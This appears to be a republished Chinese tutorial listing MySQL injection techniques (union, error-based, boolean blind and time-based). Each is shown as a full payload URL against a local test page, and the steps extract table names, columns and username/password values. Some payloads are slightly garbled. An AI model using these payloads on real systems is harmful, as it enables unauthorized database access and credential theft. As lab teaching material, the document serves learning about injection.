mysql注入有哪些方式 您所在的位置:网站首页 预防sql注入的方式有哪些 mysql注入有哪些方式

mysql注入有哪些方式

2024-07-10 09:20| 来源: 网络整理| 查看: 265

MYSQL注入主要有哪些分类

发布时间:2020-05-25 17:01:32

来源:51CTO

阅读:116

作者:三月

下面讲讲关于MYSQL注入主要有哪些分类,文字的奥妙在于贴近主题相关。所以,闲话就不谈了,我们直接看下文吧,相信看完MYSQL注入主要有哪些分类这篇文章你一定会有所受益。

Mysql注入分类:

1.基于错误的有显示位的注入(联合注入)(1)判断注入and 1=1,http://127.0.0.1/union.php?id=1 and 1=1

531c4598bd0f96909e419cfc91e99e55.png

and 1=2,http://127.0.0.1/union.php?id=1 and 1=2

dbedf8f6c2603bbd1e8f464ffc4b5816.png

and 1=1输出结果,and 1=2没有结果,说明and语句执行成功,可能存在sql注入。

(2) 判断列

http://127.0.0.1/union.php?id=1 order by 1

2d391b287c68069825a8381fba2d1443.png

http://127.0.0.1/union.php?id=1 order by 2

be1708cf97b1ae875cf29ee031ab8682.png

http://127.0.0.1/union.php?id=1 order by 3

4d8c6574f9dbcc70b7355cf15f7d84e0.png

http://127.0.0.1/union.php?id=1 order by 4

3b68384fbd28923948711e76c388e0eb.png

查询当前数据库中有多少列order by 1、order by 2、order by 3的时候都返回正常, order by 4的时候返回错误,那么就可以确定当前有3列。

(3) 爆显示位

union查询的时候是把后面的查询结果拼接到select查询结果的末尾

http://127.0.0.1/union.php?id=1 union select 1,2,3

682b1bfc5d6637961ab239dc48895dd9.png

使用union select 1,2,3,并没有输出显示位,是因为select语句后有limit 0,1限制,只显示查询出的第一行,若id输入错误则不会显示查询的id信息。

http://127.0.0.1/union.php?id=-1 union select 1,2,3

2b0ece73f2c6c604f4a93f273f44cfba.png

id=-1时,此时id输入错误,则输出显示位1,2,3。

(4)获取数据库

有了显示位就可以代入相应的显示位,来查询我们想要的东西,比如查询数据库名

http://127.0.0.1/union.php?id=-1 union select 1,database(),3

34bdbba764d55ad0671b2479b0d597db.png

获取到数据库为s。

(5) 获取数据表

接着查看s数据库中的表

http://127.0.0.1/union.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where  table_schema='s'

d908f9913c51ea2b50ef498f1cb30478.png

利用information_schema查询数据库中的tables表,查询出数据库s中的表为student;

information_schema数据库中有所有数据库、所有表、所有列。

(6) 获取数据列

接下来查询student表中有哪些列

http://127.0.0.1/union.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where  table_name='student'

63dba1f3b9aea8a5ee0a6a9b46cc5896.png

利用information_schema数据库获取到student表中有id、username、password三列。

(7)获取内容

查询username和password的内容

http://127.0.0.1/union.php?id=-1 union select 1,username,password from student

95d452d4fdbc563a8f9c78f224abcd09.png

获取到student表中username,password列的内容,获取到用户root密码123456。2.基于错误的有数据库报错信息的注入(报错注入)

mysql有十种报错注入

添加报错语句if(!$res) {

die(mysql_error());

}

(1)获取数据库版本信息

http://127.0.0.1/union.php?id=1 and (select 1 from(select count(*),concat((select (select (select    concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

6832286363b97e2efac2abd358127f6c.png

(2)获取数据库信息.

通过控制 LIMIT来控制要获取的数据库

http://127.0.0.1/union.php?id=1 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,schemaname,0x7e) FROM informationschema.schemata LIMIT 1,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from informationschema.tables group by x)a)

55c86d04c494d39947e9cade3ff1e41c.png

(3)获取当前数据库的表

同样是通过控制LIMIT来控制不同的表名。

http://127.0.0.1/union.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT     distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

551d2068383aeaa56b56639ef9f05ebe.png

(4)获取users表的列名

http://127.0.0.1/union.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='student' LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

8ee4f6d5f5f64c4cc0a1a30b80479eff.png

(5)获取username和password字段的内容

http://127.0.0.1/union.php?id=1 and(select 1 from(select count(),concat((select (select (SELECT distinct    concat(0x23,username,0x3a,password,0x23) FROM student limit 0,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from informationschema.tables group by x)a)

12d55506b0e745dd7e318250126ac77d.png

盲注:在执行注入语句时不会有显示位也不会有数据库的报错信息,只是一个正确一个错误的显示页,当语句执行正确时,页面会返回正常,当执行错误时,就会出现不正常界面,但是不会有任何的数据库报错信息。3.基于错误的没有数据库报错信息的盲注

(1)利用联合查询union盲注

http://127.0.0.1/union.php?id=1 union select 1,2,‘122’ order by 3

d6cb1fbc23c760d5ca7fe317554cec98.png

按照第三列进行排序,第三列值前三位若大于122不显示,如图未显示。

http://127.0.0.1/union.php?id=1 union select 1,2,‘126’ order by 3

87604155d7bcd3a9f1b38cf159635a19.png

依此类推,修改第三位的值来获取信息,第三列值前三位若小于126则显示,如图显示。

(2)不用联合查询union盲注(ASCII)

遵循折半查询的思想。

猜测数据库名:

http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))>0

substr(database(),1,1)分割数据库名字符,从第一个字符开始,每次分割一个字符。

ascii()函数,把分割得到的字符转换成ASCII值。

8ed66a0b8ad995722a88490661525926.png

如图,有查询结果说明数据库名的第一个字符ascii大于0。

http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))>120

cba66b3328a3118dfaef28bcb674d953.png

如图,无查询结果说明数据库名的第一个字符ascii小于120。

http://127.0.0.1/union.php?id=1 and ascii(substr(database(),1,1))=115

982bdbc913040604f1b64816ca82e27e.png

依次类推得出数据库名的第一个字符ascii为115,

df1ac51dc925b3a70d677a577c400a95.png

使用小葵多功能转换工具转换出ASCII对应的字符,115为字母s。

然后依次类推可猜出数据库名。

猜测数据库的表名:

http://127.0.0.1/union.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='s' limit 0,1),1,1))=115

b56f0d548ce3dfdcdce0652dd34989d1.png

通过猜测ascii 可得到s数据库的第一个表的第一个字符串的ascii码是115,也就是字符s。同理依次进行猜解。

猜词表中的列名:

http://127.0.0.1/union.php?id=1 and ascii(substr((select     column_name from information_schema.columns where   table_name='student' limit 0,1),1,1))=105

abe045b8db7138d2b984f3a88881817e.png

得到student表的第一个列名的第一个字符串的ascii码105,对应字符i,同理依次进行猜解。

猜解列的内容:

http://127.0.0.1/union.php?id=1 and ascii(substr((select username from student limit 0,1),1,1))=114

eac98e596a00f3d3a207a189cf81c4fc.png

username的第一个字符串的ascii码为114,就是字母r,同理依次进行猜解。

4.基于时间的盲注

基于时间的盲注和基于错误的盲注差不多,区别是时间盲注页面不回有任何回显,一般通过sleep()函数来判断我们的sql语句是否执行,从而判断是否存在注入。利用火狐的firebug(F12),来监测脚本的执行时间情况

http://127.0.0.1/union.php?id=1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)

d21dfbbc760325e17f67e0362253b672.png

猜测数据库,语句正确执行延迟了3秒。

对于以上MYSQL注入主要有哪些分类相关内容,大家还有什么不明白的地方吗?或者想要了解更多相关,可以继续关注我们的行业资讯板块。



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有